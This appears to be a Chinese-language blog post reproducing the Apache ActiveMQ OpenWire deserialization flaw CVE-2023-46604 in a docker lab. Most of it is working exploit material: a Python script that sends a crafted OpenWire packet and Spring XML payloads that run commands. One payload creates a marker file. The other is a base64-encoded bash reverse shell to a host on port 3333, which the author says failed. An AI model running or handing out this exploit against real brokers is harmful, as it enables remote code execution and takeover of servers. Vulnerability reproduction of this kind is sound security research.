CVE-2023-46604 ActiveMQ OpenWire协议反序列化漏洞

CVE-2023-46604 ActiveMQ OpenWire协议反序列化漏洞

1.简介

  • OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

2.复现

# 环境搭建
docker compose up -d
! 服务启动后,访问`http://your-ip:8161`检查服务是否运行成功。但实际上利用该漏洞,并不需要能够访问8161端口。

# 复现
首先, 启动一个HTTP反连服务器,其中包含我们的[poc.xml](poc.xml)
python -m http.server 6666

然后, 执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL
python poc.py target port http://ip of http server/poc.xml

执行完成后, 进入ActiveMQ容器
docker exec cve-2023-46604-activemq-1 ls -l /tmp
若 /tmp/activeMQ-RCE-success文件被创建,则表示利用成功

3.POC

  • poc.xml<?xml version=”1.0″ encoding=”UTF-8″ ?>
    <beans xmlns=”http://www.springframework.org/schema/beans”
          xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
          xsi:schemaLocation=”http://www.springframework.org/schema/beans
          http://www.springframework.org/schema/beans/spring-beans.xsd”>
       <bean id=”pb” class=”java.lang.ProcessBuilder” init-method=”start”>
           <constructor-arg>
               <list>
                   <value>touvh</value>
                   <value>/tmp/activeMQ-RCE-success</value>
               </list>
           </constructor-arg>
       </bean>
    </beans>poc.xml(反弹shell未成功)<?xml version=”1.0″ encoding=”UTF-8″ ?>
    <beans xmlns=”http://www.springframework.org/schema/beans”
          xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
          xsi:schemaLocation=”http://www.springframework.org/schema/beans
          http://www.springframework.org/schema/beans/spring-beans.xsd”>
       <bean id=”pb” class=”java.lang.ProcessBuilder” init-method=”start”>
           <constructor-arg>
               <list>
                   <value>bash</value>
                   <value>-c</value>
                   <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzMzMzMgMD4mMQo=}|{base64,-d}|{bash,-i}</value>
               </list>
           </constructor-arg>
       </bean>
    </beans>
  • poc.pyimport io
    import socket
    import sys

    def main(ip, port, xml):
       classname = “org.springframework.context.support.ClassPathXmlApplicationContext”
       socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       socket_obj.connect((ip, port))

       with socket_obj:
           out = socket_obj.makefile(‘wb’)
           # out = io.BytesIO() # 创建一个内存中的二进制流
           out.write(int(32).to_bytes(4, ‘big’))
           out.write(bytes([31]))
           out.write(int(1).to_bytes(4, ‘big’))
           out.write(bool(True).to_bytes(1, ‘big’))
           out.write(int(1).to_bytes(4, ‘big’))
           out.write(bool(True).to_bytes(1, ‘big’))
           out.write(bool(True).to_bytes(1, ‘big’))
           out.write(len(classname).to_bytes(2, ‘big’))
           out.write(classname.encode(‘utf-8’))
           out.write(bool(True).to_bytes(1, ‘big’))
           out.write(len(xml).to_bytes(2, ‘big’))
           out.write(xml.encode(‘utf-8’))
           # print(list(out.getvalue()))
           out.flush()
           out.close()


    if __name__ == “__main__”:
       if len(sys.argv) != 4:
           print(“Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 “
                 “http://192.168.0.101:8888/poc.xml”)
           exit(-1)
       main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

Comments

No comments yet. Why don’t you start the discussion?

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

证明你是人: 5   +   1   =